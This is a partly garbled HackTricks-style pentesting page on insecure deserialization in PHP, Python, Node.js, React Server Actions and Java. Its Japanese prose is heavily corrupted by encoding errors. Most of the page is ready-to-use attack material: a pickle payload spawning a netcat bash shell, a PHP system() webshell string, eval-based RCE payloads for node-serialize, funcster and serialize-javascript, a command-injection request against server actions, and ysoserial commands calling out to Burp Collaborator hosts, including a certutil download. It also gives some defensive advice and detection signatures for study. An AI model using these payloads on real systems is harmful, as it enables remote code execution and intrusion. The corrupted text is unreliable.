Deserialization
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
Serialization ã¯ããªããžã§ã¯ããä¿åããããéä¿¡ã®äžéšãšããŠéä¿¡ãããããç®çã§ããªããžã§ã¯ããä¿æã§ãã圢åŒã«å€æããææ³ãšããŠçè§£ãããŸãããã®ææ³ã¯ããªããžã§ã¯ãã®æ§é ãšç¶æ ãç¶æãããŸãŸåŸã§åäœæã§ããããã«ããããã«äžè¬çã«äœ¿çšãããŸãã
Deserialization ã¯ããã«å¯Ÿããããã»ã¹ã§ãç¹å®ã®åœ¢åŒã§æ§é åãããããŒã¿ãåãåºããåã³ãªããžã§ã¯ãã«åŸ©å ããããšãå«ã¿ãŸãã
Deserialization ã¯å±éºã«ãªãåŸãŸãããªããªããæ»æè ãã·ãªã¢ã©ã€ãºãããããŒã¿ãæäœããŠæå®³ãªã³ãŒããå®è¡ããããããªããžã§ã¯ãåæ§ç¯äžã«ã¢ããªã±ãŒã·ã§ã³ã§äºæããªãæåãåŒãèµ·ããããããå¯èœæ§ãããããã§ãã
PHP
PHP ã§ã¯ãã·ãªã¢ã©ã€ãºããã³ãã·ãªã¢ã©ã€ãºã®éçšã§ç¹å®ã®ããžãã¯ã¡ãœãããå©çšãããŸã:
__sleep: ãªããžã§ã¯ããã·ãªã¢ã©ã€ãºãããéã«åŒã³åºãããŸãããã®ã¡ãœããã¯ã·ãªã¢ã©ã€ãºãã¹ããªããžã§ã¯ãã®ããããã£åã®é åãè¿ãã¹ãã§ããä¿çäžã®ããŒã¿ãã³ãããããããé¡äŒŒã®ã¯ãªãŒã³ã¢ããåŠçãè¡ãããã«äžè¬çã«äœ¿ãããŸãã__wakeup: ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºãããéã«åŒã³åºãããŸããã·ãªã¢ã©ã€ãºäžã«å€±ãããå¯èœæ§ã®ããããŒã¿ããŒã¹æ¥ç¶ãå確ç«ãããããã®ä»ã®ååæååŠçãè¡ãããã«äœ¿çšãããŸãã__unserialize: ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«ïŒååšããå Žåã¯ïŒ__wakeupã®ä»£ããã«åŒã³åºãããŸãã__wakeupãšæ¯ã¹ãŠãã·ãªã¢ã©ã€ãºåŠçããã现ããå¶åŸ¡ã§ããŸãã__destruct: ãªããžã§ã¯ããç Žæ£ãããçŽåããŸãã¯ã¹ã¯ãªããçµäºæã«åŒã³åºãããŸãããã¡ã€ã«ãã³ãã«ãããŒã¿ããŒã¹æ¥ç¶ãéãããªã©ã®ã¯ãªãŒã³ã¢ããåŠçã«é垞䜿ãããŸãã__toString: ãªããžã§ã¯ããæååãšããŠæ±ããããã«ããã¡ãœããã§ããå éšã§åŒã³åºããã颿°ã«åºã¥ããŠãã¡ã€ã«ãèªã¿åããªã©ã®åŠçã«çšãããããªããžã§ã¯ãã®ããã¹ã衚çŸãæäŸããŸãã
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently thatâs not happening anymore.
Warning
The method
__unserialize(array $data)is called instead of__wakeup()if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
çµæãèŠããšããªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«é¢æ° __wakeup ãš __destruct ãåŒã°ããŠããã®ãåãããŸããããã€ãã®ãã¥ãŒããªã¢ã«ã§ã¯ã屿§ãåºåããããšãããš __toString ãåŒã°ãããšèšèŒãããŠããŸãããã©ãããããã¯ããèµ·ããŠããªãããã§ãã
詳ãã PHP ã®äŸ ã¯æ¬¡ã§èªãããšãã§ããŸã: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
You could abuse the PHP autoload functionality to load arbitrary php files and more:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
äœããã®çç±ã§å€ãä»ã®ã·ãªã¢ã©ã€ãºãããå€ãžã®åç §ãšããŠã·ãªã¢ã©ã€ãºãããå Žåã¯ã次ã®ããã«ã§ããŸã:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHP Object Injection ã allowed_classes ã§é²ã
[!INFO]
unserialize()㮠第2åŒæ°ïŒ$optionsé åïŒãžã®ãµããŒã㯠PHP 7.0 ã§è¿œå ãããŸãããå€ãããŒãžã§ã³ã§ã¯ãã®é¢æ°ã¯ã·ãªã¢ã©ã€ãºãããæååã®ã¿ãåãåããã©ã®ã¯ã©ã¹ãã€ã³ã¹ã¿ã³ã¹åãããããå¶éããããšãã§ããŸããã
unserialize() ã¯ãç¹ã«æå®ããªãéããã·ãªã¢ã©ã€ãºãããã¹ããªãŒã å
ã§èŠã€ãã ãã¹ãŠã®ã¯ã©ã¹ãã€ã³ã¹ã¿ã³ã¹å ããŸããPHP 7 以éããã®æå㯠allowed_classes ãªãã·ã§ã³ã§å¶éã§ããŸã:
// NEVER DO THIS â full object instantiation
$object = unserialize($userControlledData);
// SAFER â disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular â only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
ãã allowed_classes ãçç¥ããã ãŸã㯠ã³ãŒãã PHP < 7.0 äžã§åäœããŠããå Žåããã®åŒã³åºã㯠å±éº ã«ãªããŸããæ»æè
㯠__wakeup() ã __destruct() ã®ãããªããžãã¯ã¡ãœãããæªçšãããã€ããŒããäœæã㊠Remote Code Execution (RCE) ãéæã§ããŸãã
å®äŸïŒ Everest Forms (WordPress) CVE-2025-52709
WordPress ãã©ã°ã€ã³ Everest Forms †3.2.2 ã¯ãã«ããŒã©ãããŒã§é²åŸ¡ããããšããŸããããå€ã PHP ããŒãžã§ã³ãèæ ®ããŠããŸããã§ããïŒ
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ⥠7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
ãŸã PHP †7.0 ãå®è¡ããŠãããµãŒããŒã§ã¯ããã®2çªç®ã®ãã©ã³ãã¯ç®¡çè ãæªæã®ãããã©ãŒã éä¿¡ãéãããšãã«å€å žç㪠PHP Object Injection ãåŒãèµ·ãããŸãããæå°éã®ãšã¯ã¹ããã€ããã€ããŒãã¯æ¬¡ã®ããã«ãªããŸã:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
管çè
ããšã³ããªãé²èЧããç¬éããªããžã§ã¯ããã€ã³ã¹ã¿ã³ã¹åãããSomeClass::__destruct() ãå®è¡ããããã®çµæ arbitrary code execution ãçºçããŸããã
èŠç¹
unserialize()ãåŒã¶éã¯åžžã«['allowed_classes' => false]ïŒãŸãã¯å³æ Œãªãã¯ã€ããªã¹ãïŒãæž¡ãããšã- é²åŸ¡çšã©ãããŒãç£æ»ããããš â ãããã¯ãã°ãã°ã¬ã¬ã·ãŒãª PHP ãã©ã³ããèŠèœãšãã
- åã« PHP ⥠7.x ã«ã¢ããã°ã¬ãŒãããã ãã§ã¯äžååã§ãïŒãã®ãªãã·ã§ã³ã¯æç€ºçã«æå®ããå¿ èŠããããŸãã
PHPGGC (ysoserial for PHP)
PHPGGC ã¯ãPHP ã® deserializations ãæªçšããããã® payloads ãçæããã®ã«åœ¹ç«ã¡ãŸãã
泚æïŒå€ãã®å Žåãã¢ããªã±ãŒã·ã§ã³ã®ãœãŒã¹ã³ãŒãå
ã§ deserialization ãæªçšããæ¹æ³ãèŠã€ããããªã ããšããããŸãããå€éšã® PHP extensions ã®ã³ãŒãã abuse ã§ãã å¯èœæ§ããããŸãã
å¯èœã§ããã°ããµãŒãã® phpinfo() ã確èªããsearch on the internetïŒããã㯠PHPGGC ã® gadgetsïŒã§æªçšå¯èœãª gadget ããªããæ¢ããŠã¿ãŠãã ããã
phar:// metadata deserialization
ãããã¡ã€ã«ãåã«èªã¿åã£ãŠããããã®å
éšã® php ã³ãŒããå®è¡ããŠããªã LFI ãèŠã€ããå ŽåãäŸãã° file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). ã®ãããªé¢æ°ã䜿ã£ãŠããå Žåãphar ãããã³ã«ã䜿ã£ãŠãã¡ã€ã«ã reading ããéã«çºçãã deserialization ãæªçšã§ããå¯èœæ§ããããŸãã
詳现ã¯ä»¥äžã®ãã¹ããåç
§ããŠãã ããïŒ
Python
Pickle
ãªããžã§ã¯ãã unpickle ããããšã颿° ___reduce___ ãå®è¡ãããŸãã
æªçšããããšããµãŒãã¯ãšã©ãŒãè¿ãå¯èœæ§ããããŸãã
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if youâre running python3.
ãã€ãã¹ææ³ã確èªããåã«ãpython3ãå®è¡ããŠããå Žåã¯ãpython2ãšäºææ§ã®ãããªããžã§ã¯ããçæããããã« print(base64.b64encode(pickle.dumps(P(),2))) ã詊ããŠãã ããã
For more information about escaping from pickle jails check:
pickle jails ããã®è±åºã«é¢ããè©³çŽ°ã¯æ¬¡ãåç §ããŠãã ããïŒ
Yaml & jsonpickle
以äžã®ããŒãžã§ã¯ãPythonã®YAMLã©ã€ãã©ãªã«ããã abuse an unsafe deserialization in yamls ã®ææ³ã玹ä»ããPickle, PyYAML, jsonpickle and ruamel.yaml çšã®RCEãã·ãªã¢ã©ã€ãºãã€ããŒããçæããããŒã«ã§ç· ãããããŸãïŒ
Class Pollution (Python Prototype Pollution)
Class Pollution (Pythonâs Prototype Pollution)
NodeJS
JS Magic Functions
JSã¯ãPHPãPythonã®ããã«ãªããžã§ã¯ããçæããã ãã§å®è¡ããã ãmagicã颿°ãæã¡ãŸããããã ãã颿°ã®äžã«ã¯çŽæ¥åŒã³åºããªããŠãé »ç¹ã«äœ¿çšããããã®ããããããšãã° toString, valueOf, toJSON ãªã©ããããŸãã
ãã·ãªã¢ã©ã€ãºãæªçšãããšããããã®é¢æ°ãæ¹ããããŠä»ã®ã³ãŒããå®è¡ãããããšãã§ãïŒpotentially abusing prototype pollutionsïŒãããããåŒã³åºããããšãã«ä»»æã®ã³ãŒããå®è¡ãããããšãã§ããŸãã
Another âmagicâ way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called âthenâ of type function, it will be executed just because itâs returned by another promise. Follow this link for more info.
颿°ãçŽæ¥åŒã³åºããã«å®è¡ããããäžã€ã®**ãmagicããªæ¹æ³ã¯ãasync functionïŒpromiseïŒã«ãã£ãŠè¿ããããªããžã§ã¯ããæ¹ããããããšã§ãããšããã®ãããã®æ»ããªããžã§ã¯ããå¥ã®promiseã«å€æãã颿°åã®âthenâãšããpropertyãæããããšããããå¥ã®promiseããè¿ãããã ãã§å®è¡ããã**ããã§ãã詳ãã㯠_this link_ ãåç §ããŠãã ãã.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ ãš prototype æ±æ
ãã®ææ³ã«ã€ããŠåŠã³ããå Žåã¯ã次ã®ãã¥ãŒããªã¢ã«ãåç §ããŠãã ããïŒ
NodeJS - proto & prototype Pollution
node-serialize
ãã®ã©ã€ãã©ãªã¯é¢æ°ãã·ãªã¢ã©ã€ãºã§ããŸããäŸïŒ
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãã¯æ¬¡ã®ããã«ãªããŸã:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.
ããããäŸãèŠããšã颿°ãã·ãªã¢ã©ã€ãºããããš _$$ND_FUNC$$_ ãã©ã°ãã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãã«ä»å ãããããšãããããŸãã
node-serialize/lib/serialize.js ãã¡ã€ã«å
ã§ãåããã©ã°ãšãããã©ã®ããã«äœ¿ãããŠãããã確èªã§ããŸãã
.png)
.png)
æåŸã®ã³ãŒããã£ã³ã¯ã§ãããããã«ããã©ã°ãèŠã€ãã£ãå Žåãeval ã颿°ã®ãã·ãªã¢ã©ã€ãºã«äœ¿çšãããŸããã€ãŸãåºæ¬çã« ãŠãŒã¶ãŒå
¥åã eval 颿°ã®äžã§äœ¿çšãããŠãã ãšããããšã§ãã
ããããåã«é¢æ°ãã·ãªã¢ã©ã€ãºããã ãã§ã¯ãããå®è¡ããããšã¯ã§ããŸãããå®è¡ãããããã«ã¯ã³ãŒãã®ã©ããããã®äŸã§ã¯ y.rce ãåŒã³åºã å¿
èŠããããããã¯éåžžã« ããããã«ãããŸããã
ãšã¯ããããªããžã§ã¯ãããã·ãªã¢ã©ã€ãºãããéã«ã·ãªã¢ã©ã€ãºããã颿°ãèªåå®è¡ãããããã«ãã·ãªã¢ã©ã€ãºæžã¿ãªããžã§ã¯ããæ¹å€ãããæ¬åŒ§ã远å ãã ãšãã£ãããšãå¯èœã§ãã
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
åè¿°ã®ãšããããã®ã©ã€ãã©ãªã¯_$$ND_FUNC$$_ã®åŸã®ã³ãŒããååŸããevalã䜿ã£ãŠå®è¡ããŸãããããã£ãŠãã³ãŒããèªåå®è¡ããã«ã¯ã颿°äœæéšåãšæåŸã®æ¬åŒ§ãåé€ããŠãJSã®ã¯ã³ã©ã€ããŒãçŽæ¥å®è¡ããã ãã§ãã以äžã®äŸã®ããã«:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
funcster ã®æ³šç®ãã¹ãç¹ã¯ãstandard built-in objects ã«ã¢ã¯ã»ã¹ã§ããªãããšã§ãããããã¯å©çšå¯èœãªã¹ã³ãŒãã®å€ã«ãããçµã¿èŸŒã¿ãªããžã§ã¯ãã®ã¡ãœãããåŒã³åºãããšããã³ãŒãã®å®è¡ãé²ããŸãããã®ãããconsole.log() ã require(something) ã®ãããªã³ãã³ãã䜿çšãããš âReferenceError: console is not definedâ ã®ãããªäŸå€ãçºçããŸãã
ãã®å¶éã«ãããããããç¹å®ã®ææ³ã«ããå šãŠã® standard built-in objects ãå«ãã°ããŒãã«ã³ã³ããã¹ããžã®å®å šãªã¢ã¯ã»ã¹ã埩å ããããšãå¯èœã§ããã°ããŒãã«ã³ã³ããã¹ããçŽæ¥å©çšããããšã§ãã®å¶éãåé¿ã§ããŸããäŸãã°ã以äžã®ã¹ããããã䜿çšããŠã¢ã¯ã»ã¹ãå確ç«ã§ããŸã:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
詳ãã㯠more information read this sourceã
serialize-javascript
The serialize-javascript packageã¯ã·ãªã¢ã©ã€ãºå°çšã«èšèšãããŠãããçµã¿èŸŒã¿ã®ãã·ãªã¢ã©ã€ãºæ©èœãæã¡ãŸããããŠãŒã¶ãŒã¯ãã·ãªã¢ã©ã€ãºã®æ¹æ³ãèªåã§å®è£
ããå¿
èŠããããŸããå
¬åŒã®äŸã§ã¯ãã·ãªã¢ã©ã€ãºãããããŒã¿ããã·ãªã¢ã©ã€ãºããããã«çŽæ¥ eval ã䜿çšããããšã瀺ãããŠããŸã:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
ãã®é¢æ°ããªããžã§ã¯ããdeserializeããããã«äœ¿çšãããŠããå Žåãç°¡åã«æªçšã§ããŸã:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳现 ãã®ãœãŒã¹ã®è©³çްãèªã.
Cryo library
以äžã®ããŒãžã§ã¯ããã®ã©ã€ãã©ãªãæªçšããŠä»»æã®ã³ãã³ããå®è¡ããæ¹æ³ã«é¢ããæ å ±ãèŠã€ãããŸã:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) 㯠react-server-dom-webpack (RSDW) ãå©çšããŠãmultipart/form-data ãšããŠéä¿¡ããã server action ã®éä¿¡å
容ããã³ãŒãããŸããåã¢ã¯ã·ã§ã³éä¿¡ã«ã¯æ¬¡ã®ãã®ãå«ãŸããŸã:
$ACTION_REF_<n>ããŒãã¯åŒã³åºãããã¢ã¯ã·ã§ã³ãåç §ããŸãã$ACTION_<n>:<m>ããŒãã¯ãã®æ¬æã JSON ã§ãäŸ:{"id":"module-path#export","bound":[arg0,arg1,...]}
ããŒãžã§ã³ 19.2.0 ã§ã¯ãdecodeAction(formData, serverManifest) ãã«ããŒã¯ id stringïŒã©ã® module export ãåŒã³åºãããéžæããïŒãš bound arrayïŒåŒæ°ïŒãç²ç®çã«ä¿¡é ŒããŸããæ»æè
ã decodeAction ã«ãªã¯ãšã¹ãã転éãããšã³ããã€ã³ãã«å°éã§ããã°ãReact ããã³ããšã³ãããªããŠãæ»æè
å¶åŸ¡ã®ãã©ã¡ãŒã¿ã§ä»»æã® exported server action ãåŒã³åºãããšãã§ããŸã (CVE-2025-55182)ããšã³ãããŒãšã³ãã®æé ã¯æ¬¡ã®éãã§ã:
- ã¢ã¯ã·ã§ã³èå¥åãç¹å®ããã Bundle outputãerror tracesããŸã㯠leaked manifests ã¯éåžž
app/server-actions#generateReportã®ãããªæååãæããã«ããŸãã - multipart ãã€ããŒããåäœæããã
$ACTION_REF_0ããŒããšèå¥åããã³ä»»æã®åŒæ°ãå«ã$ACTION_0:0ã® JSON æ¬æãäœæããŸãã decodeActionã«åŠçãããã ãã«ããŒã¯serverManifestããã¢ãžã¥ãŒã«ã解決ãããšã¯ã¹ããŒãã import ããŠãµãŒããŒãå³åº§ã«å®è¡ããåŒã³åºãå¯èœãªé¢æ°ãè¿ããŸãã
äŸ: /formaction ã«éããã€ããŒã:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
ãŸã㯠curl ã§:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound é
å㯠server-action ãã©ã¡ãŒã¿ã«çŽæ¥èšå®ãããŸããè匱ãªã©ãã§ã¯ãã¬ãžã§ããã¯æ¬¡ã®ããã«ãªããŸãïŒ
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
An attacker never needs a real React clientâany HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
æçŽ
ãã¯ã€ãããã¯ã¹
ã³ãŒãããŒã¹å ã®æœåšç㪠serialization è匱æ§ãç¹å®ããã«ã¯ã以äžãæ€çŽ¢ããŠãã ãã:
Serializableã€ã³ã¿ãŒãã§ãŒã¹ãå®è£ ããŠããã¯ã©ã¹ãjava.io.ObjectInputStreamãreadObjectãreadUnshare颿°ã®äœ¿çšã
ç¹ã«æ³šæãã¹ãç¹:
- å€éšãŠãŒã¶ã«ãã£ãŠå®çŸ©ããããã©ã¡ãŒã¿ã§å©çšããã
XMLDecoderã XStreamã®fromXMLã¡ãœããïŒç¹ã« XStream ããŒãžã§ã³ã 1.46 以äžã®å ŽåïŒ â serialization issues ã«åŒ±ãå¯èœæ§ããããŸããObjectInputStreamãšreadObjectã®çµã¿åãããreadObjectãreadObjectNodDataãreadResolveãreadExternalãšãã£ãã¡ãœããã®å®è£ ãObjectInputStream.readUnsharedãSerializableã®äžè¬çãªäœ¿çšã
ãã©ãã¯ããã¯ã¹
ãã©ãã¯ããã¯ã¹ãã¹ãã§ã¯ãjava serialized objectsïŒObjectInputStream èµ·æºïŒã瀺ãç¹å®ã® signatures ãŸã㯠âMagic Bytesâ ãæ¢ããŸã:
- 16é²ãã¿ãŒã³:
AC ED 00 05. - Base64 ãã¿ãŒã³:
rO0. - HTTP ã¬ã¹ãã³ã¹ãããã§
Content-typeãapplication/x-java-serialized-objectã«èšå®ãããŠãããã®ã - äºåã«å§çž®ãããŠããããšã瀺ã 16é²ãã¿ãŒã³:
1F 8B 08 00. - äºåã«å§çž®ãããŠããããšã瀺ã Base64 ãã¿ãŒã³:
H4sIA. .facesæ¡åŒµåã® Web ãã¡ã€ã«ãšfaces.ViewStateãã©ã¡ãŒã¿ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã§ãããã®ãã¿ãŒã³ãçºèŠããå Žåãpost about Java JSF ViewState Deserialization ã«è©³è¿°ãããŠãããšããã®èª¿æ»ãè¡ãã¹ãã§ãã
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
è匱æ§ãããã確èªãã
learn about how does a Java Deserialized exploit work ãåŠã³ããå Žåã¯ãBasic Java DeserializationãJava DNS Deserializationãããã³CommonsCollection1 Payloadãåç §ããŠãã ããã
SignedObject-gated deserialization and pre-auth reachability
æè¿ã®ã³ãŒãããŒã¹ã§ã¯ãjava.security.SignedObject ã§ deserialization ãã©ãããã眲åãæ€èšŒããŠãã getObject() (which deserializes the inner object) ãåŒã³åºãããšããããŸãããã㯠arbitrary top-level gadget classes ãé²ããŸãããæ»æè
ãæå¹ãªçœ²åãå
¥æã§ããïŒäŸ: private-key compromise ã signing oracleïŒã®å ŽåãäŸç¶ãšã㊠exploitable ã«ãªãåŸãŸããããã«ãerror-handling flows ã«ãã unauthenticated users åãã« session-bound tokens ãçºè¡ãããæ¬æ¥ä¿è·ãããŠãã sinks ã pre-auth ã®æ®µéã§å
¬éãããŠããŸãããšããããŸãã
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
æ¢ç¥ã®è匱æ§ãæã€ã¢ããªã±ãŒã·ã§ã³ãã€ã³ã¹ããŒã«ãããŠãããã©ããã確èªã§ããŸãã
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to ãã¹ãŠã®ã©ã€ãã©ãªã確èªãã known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) donât care about the tons of warnings/errors that itâs going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector wonât create an exploit and it may indicate false positives.
Black Box Test
Using the Burp extension gadgetprobe you can identify ã©ã®ã©ã€ãã©ãªãå©çšå¯èœã (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can ç¹å®ãã è匱ãªã©ã€ãã©ãª exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãå
ã®ããŒã¿ã倿ŽããŠäžéšã®ãã§ãã¯ããã€ãã¹ãã (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the âURLDNSâ payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the âURLDNSâ payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
